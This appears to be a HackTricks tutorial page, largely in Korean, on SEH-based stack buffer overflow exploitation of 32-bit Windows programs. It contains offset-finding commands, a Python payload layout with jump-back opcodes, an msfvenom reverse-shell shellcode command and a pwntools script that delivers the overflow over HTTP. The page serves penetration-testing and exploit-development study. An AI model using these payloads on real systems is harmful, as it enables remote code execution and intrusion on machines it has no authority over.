# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH) {{#include ../../banners/hacktricks-training.md}} SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법이다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때 - nSEH: 다음 SEH 레코드에 대한 포인터, and - SEH: 예외 처리기 함수에 대한 포인터 공격자는 다음 방법으로 실행 제어를 획득할 수 있다: 1) 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고 2) nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다. 이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다. --- ## 정확한 오프셋 찾기 (nSEH / SEH) - 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인). - 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다. Example with peda/GEF/pwntools on a 1000-byte POST body: ```bash # generate pattern (any tool is fine) /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000 # or python3 -c "from pwn import *; print(cyclic(1000).decode())" # after crash, note the two 32-bit values from SEH view and compute offsets /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH # ➜ offsets example: nSEH=660, SEH=664 ``` 해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요. --- ## Choosing a POP POP RET (SEH gadget) SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요: - Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`. - x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status. 리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: `p32(0x004094D8)`). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요. --- ## Jump-back technique (short + near jmp) nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(`EB xx`)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요. nasmshell에서: ```text nasm> jmp -660 ; too far for short; near jmp is 5 bytes E967FDFFFF nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding) EBF6 nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop) E96FFDFFFF ``` nSEH가 offset 660에 있는 1000-byte payload용 레이아웃 아이디어: ```python buffer_length = 1000 payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad payload += p32(0x004094D8) # SEH: POP POP RET (no badchars) payload += b"D" * (buffer_length - len(payload)) ``` 실행 흐름: - 예외가 발생하고 디스패처가 덮어쓴 SEH를 사용한다. - POP POP RET가 언와인드되어 우리의 nSEH로 진입한다. - nSEH가 `jmp short -8`를 실행하여 5바이트 near jump로 들어간다. - Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다. --- ## Bad characters 전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다. ```python badchars = bytes([x for x in range(1,256)]) payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case ``` --- ## Shellcode 생성 (x86) msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다. ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f python -v sc ``` 즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다: ```bash msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST= LPORT= \ -b "\x00\x0a\x0d" -f hex ``` --- ## Delivering over HTTP (precise CRLF + Content-Length) 취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라. ```python # pip install pwntools from pwn import remote host, port = "", 8080 body = b"A" * 1000 # replace with the SEH-aware buffer above req = f"""POST / HTTP/1.1 Host: {host}:{port} User-Agent: curl/8.5.0 Accept: */* Content-Length: {len(body)} Connection: close """.replace('\n','\r\n').encode() + body p = remote(host, port) p.send(req) print(p.recvall(timeout=0.5)) p.close() ``` --- ## 도구 - x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해. - ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해: `ERC --SEH`. - 대안으로 Mona: `!mona modules`, `!mona seh`. - nasmshell로 short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해. - pwntools로 정밀한 네트워크 페이로드를 제작하기 위해. --- ## 참고 및 주의사항 - x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하므로 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다. - SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선 사용하십시오; 그렇지 않으면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요. - 충돌 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다. ## References - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html) - [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg) - [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/) - [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona) {{#include ../../banners/hacktricks-training.md}}